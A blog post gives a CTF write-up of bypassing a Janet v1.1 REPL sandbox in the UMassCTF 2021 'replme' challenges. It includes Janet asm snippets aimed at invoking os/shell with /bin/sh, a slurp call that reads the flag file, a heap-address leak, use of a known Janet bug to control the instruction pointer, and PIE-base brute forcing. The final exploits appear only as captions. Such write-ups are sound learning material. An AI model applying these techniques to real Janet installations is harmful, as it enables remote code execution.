Janet v1.1 REPL Sandbox Bypass

Aneesh Dogra
Aneesh Dogra’s Blog
7 min readApr 1, 2021

--

Janet is a functional and imperative programming language. The entire language (core library, interpreter, compiler, assembler, PEG) is less than 1MB. Last weekend I played the UMassCTF 2021 (with d4rkc0de). The CTF had a couple of Sandbox bypass challenges on Janet REPL v1.1. In both the challenges we are given binaries to a REPL (read–eval–print loop) shell which runs Janet. The first one is called “replme”:

Replme

I found this new programming language and wanted people to be able to try it out.

http://34.72.244.178:8085

http://static.ctf.umasscybersec.org/pwn/8ff0476d-85f1-40f8-84ca-ade94b5b0169/janet.zip

Author: Created by Jakob#9448

(Mirror for janet.zip in case it goes down.)

At this point, I had no clue about Janet as a programming language and I began trying to dig through different methods, documentation on calling conventions, and variables.

The challenge runs Janet 1.1.0-dev. Some of the interesting methods like os/execute, os/shell, file/open, file/popen all are overloaded.

os/shell

Seems like the author has created a blacklist of all nefarious functions in the core library. At first, I tried to go through all the interesting functions in the core lib documentation and found asm is still allowed. At first, I thought I could write some custom Janet bytecode using asm and get access to os/open and other functions. I read through Janet’s instruction set reference: here. And wrote this snippet:

(defn hello2
[]
(print “hey!”)
)
(def some
(asm
‘{
constants @[“/bin/sh” os/shell]
:arity 0
slotcount 2
bytecode @[(lds 0) (ldc 1 0) (push 1) (ldc 1 1) (tcall 1)]
}
))
(hello2)
(some)

The explanation for the bytecode:

(lds 0) : setup stack frame(ldc 1 0): ldc loads the 0th index from constants and puts onto a stack variable ($1)(push 1):  Push $1 on stack(ldc 1 1): ldc loads the 1st index from constants and puts on a stack variable $1(tcall 1): call $1

In theory, I thought this would help me bypass os/shell, but all my attempts to do that had failed:

error: expected integer key
in <anonymous> pc=4
in _thunk [asm_print.janet] (tailcall) at (187:194)

The problem here is that the os/shell in constants is not treated as a pointer and putting a function pointer on constants is to be done using quasiquote (,).

Doing this we stumble upon a new error message, with our first leak:

./janet asm_print.janet 
error: could not parse constant “<tuple 0x5558D9603C40>”
in asm
in _thunk [asm_print.janet] (tailcall) at (15:184)

In this version of Janet v1.1. quasiqoute is converting the function call to the tuple and is not a valid constant.

While I was working on this my teammate from d4rk0de solved it by using the slurp method. All credits to downgrade for this solution.

slurp

He wrote a fuzzing script to try and run all functions and find which ones worked.

fuzzing script

Seems like slurp to be an interesting one as it can be used to read the flag.txt file.

(print (slurp "./flag.txt"))
replme solution

replme2

Huh, guess I forgot to blacklist a function in my repl. That should be fixed, now.

http://34.72.244.178:8090

http://static.ctf.umasscybersec.org/pwn/8ff0476d-85f1-40f8-84ca-ade94b5b0169/janet.zip

Created by Jakob#9448

(Mirror for janet.zip in case it goes down)

Now they have blacklisted slurp, but asm is still enabled.

slurp no longer works

At this point, I started exploring vectors to get to execute the os/shell function directly in the binary. I loaded the binary (./janet) into gdb and started exploring different functions available.

gef_  disassemble os_shell 
Dump of assembler code for function os_shell:
0x00005555555731e0 <+0>: push rbp
0x00005555555731e1 <+1>: mov edx,0x1
0x00005555555731e6 <+6>: mov rbp,rsi
0x00005555555731e9 <+9>: xor esi,esi
0x00005555555731eb <+11>: push rbx
0x00005555555731ec <+12>: mov ebx,edi
0x00005555555731ee <+14>: sub rsp,0x8
0x00005555555731f2 <+18>: call 0x5555555635f0 <janet_arity>
0x00005555555731f7 <+23>: test ebx,ebx
0x00005555555731f9 <+25>: jne 0x555555573228 <os_shell+72>
0x00005555555731fb <+27>: xor edi,edi
0x00005555555731fd <+29>: call 0x55555555f1d0 <system@plt>
0x0000555555573202 <+34>: xor edi,edi
0x0000555555573204 <+36>: test eax,eax
0x0000555555573206 <+38>: movabs rax,0xfff9000000000000
0x0000555555573210 <+48>: setne dil
0x0000555555573214 <+52>: add rsp,0x8
0x0000555555573218 <+56>: pop rbx
0x0000555555573219 <+57>: add rdi,rax
0x000055555557321c <+60>: pop rbp
0x000055555557321d <+61>: jmp 0x555555586ca0 <janet_nanbox_from_bits>
0x0000555555573222 <+66>: nop WORD PTR [rax+rax*1+0x0]
0x0000555555573228 <+72>: mov rdi,rbp
0x000055555557322b <+75>: xor esi,esi
0x000055555557322d <+77>: call 0x555555563a20 <janet_getcstring>
0x0000555555573232 <+82>: mov rdi,rax
0x0000555555573235 <+85>: call 0x55555555f1d0 <system@plt>
0x000055555557323a <+90>: pxor xmm0,xmm0
0x000055555557323e <+94>: add rsp,0x8
0x0000555555573242 <+98>: cvtsi2sd xmm0,eax
0x0000555555573246 <+102>: pop rbx
0x0000555555573247 <+103>: pop rbp
0x0000555555573248 <+104>: jmp 0x555555586c70 <janet_nanbox_from_double>
End of assembler dump.
gef_

We can see os_shell still exists and calls system but is overloaded and cannot be accessed directly from the Janet code. The binary has all exploit mitigations enabled.

[+] checksec for '/root/new/janet'
Canary : Y(value: 0x4060c088394f3f00)
NX : Y
PIE : Y
Fortify : Y
RelRO : Partial
gef_

Due to PIE: pointer to os/shell in binary will always keep on changing. We need to get a leak from the “asm” primitive to calculate os/shell’s pointer and then find a way to somehow control the execution flow to jump to our pointer. I explored all instructions from the documentation. Found a set of instructions that create a new array in the heap and return a pointer to that on the stack. mkarr, mkbtp, mkbuf, mkstr ….

(def some
(asm
'{
constants @["blah" print]
:arity 0
slotcount 2
bytecode @[(lds 0) (ldc 1 0) (push 1) (ldc 1 1) (mkarr 2) (ret 2)]
}
))
(def- leak_tup (some))
(print leak_tup)
(os/sleep 100)

I added the sleep at the end to give us time to attach the debugger and analyze the segment addresses.

root@ctf2-VirtualBox:~/new# ./janet asm_janet_baby.janet 
<array 0x5594A499C800>

We can verify that our leak is at a constant offset from the base (0x5594A499C8000x5594a496b000 = 202752)

gef_ vmmap
0x00005594a358d000 0x00005594a3598000 0x0000000000000000 r-- /root/new/janet
0x00005594a3598000 0x00005594a35c1000 0x000000000000b000 r-x /root/new/janet
0x00005594a35c1000 0x00005594a35ee000 0x0000000000034000 r-- /root/new/janet
0x00005594a35ef000 0x00005594a35f2000 0x0000000000061000 r-- /root/new/janet
0x00005594a35f2000 0x00005594a35f3000 0x0000000000064000 rw- /root/new/janet
0x00005594a35f3000 0x00005594a35f4000 0x0000000000000000 rw-
0x00005594a496b000 0x00005594a49ef000 0x0000000000000000 rw- [heap]
0x00007f4542349000 0x00007f454234b000 0x0000000000000000 rw-
0x00007f454234b000 0x00007f4542352000 0x0000000000000000 r--
...

After we have the heap base we still need a way to get the program base from our leak. At first, I thought of reading some heap pointers that store addresses to some functions in the program memory, but I couldn’t find a way to read arbitrary memory addresses using the “asm” function in Janet.

After some failed attempts and nudges from Jakob, I looked at the pattern of heap base and program base addresses:

base                | heap
0x000055cb3948c000 | 0x000055cb39692000
0x0000562263e9d000 | 0x00005622650a8000

We can see that the heap base and program base only have 2 bytes of difference and can be brute-forced in 0xffff attempts. Having some idea on how to get the leak to os/shell, I looked around to find some bugs to lead to RCE. In my research, I found a reported security issue on Github. Given the challenge uses v1.1, it's quite possible some of the old bugs will still be valid. https://github.com/janet-lang/janet/issues/142 (credits: Barakat)

janet_142_poc (Barakat)

Running the payload crashes the Janet REPL as it tries to jump to 0x123456789ABC (unavailable address).

root@ctf2-VirtualBox:~/new# ./janet asm_janet_baby2.janet 
object: <cfunction 0x123456789ABC>
type: cfunction
Segmentation fault (core dumped)

Alright now we have a way to leak heap base and a primitive to control RIP, all we need is a way to get os/shell pointer and we can easily access the juicy flag.txt.

At this point, I had to figure out how to convert my array leak to string and use string/slice to get the address in integer so that we can subtract from it to calculate heap base. Remember we are still in REPL shell so we have to use Janet to achieve all this. I made use of describe, strings/slice, strings/trim, and scan-number to achieve this:

root@ctf2-VirtualBox:~/new# ./janet leaks.janet 
<array 0x5561848BB3F0>
0x5561848BB3F0
5561
848BB3F0
0x848BB3F0
0x5561

Note: we have to split the 64 address into two 32 bit parts to be compatible with Janet integer type. After we have the heap base, let's try and brute force the bytes to generate all possible addresses for the program base:

replme Bruteforce programbase

We know that os/shell will always be at a constant offset from the program base i.e 127456.

____________________________________________________________________
gef_ p os_shell
$1 = {<text variable, no debug info>} 0x55ec3d2b61e0 <os_shell>
>>> 0x55ec3d2b61e0 - 0x000055ec3d297000
127456

Now we need a way to test if any of our possible program base addresses are accurate. To do this we can use describe:

root@ctf2-VirtualBox:~/new# cat gg.janet 
(print (describe os/shell))
root@ctf2-VirtualBox:~/new# ./janet gg.janet
<cfunction os/shell>

If we have the correct pointer to os/shell, describe call will return cfunction os/shell. Let's add this logic to our Janet script:

final exploit

It will eventually hit the os/shell pointer and execute it for us:

exploit_final

On remote the heap base is off by 0x50, maybe due to the blacklist:

heap base mismatch on remote

Final exploit for remote:

Final exploit Remote

and we get the flag:

janet_replme2_solve

We got the flag just a few minutes after the CTF ended. Nevertheless, it was a great challenge based on a real-world Janet vulnerability and I learned a lot from it. Thanks for reading. Have a good one!

--

--

Always been a tinker! Started coding in 2008 (when I was in 8th grade). Fell in love with x86 assembly, C and Linux: Manipulation of memory and getting RCE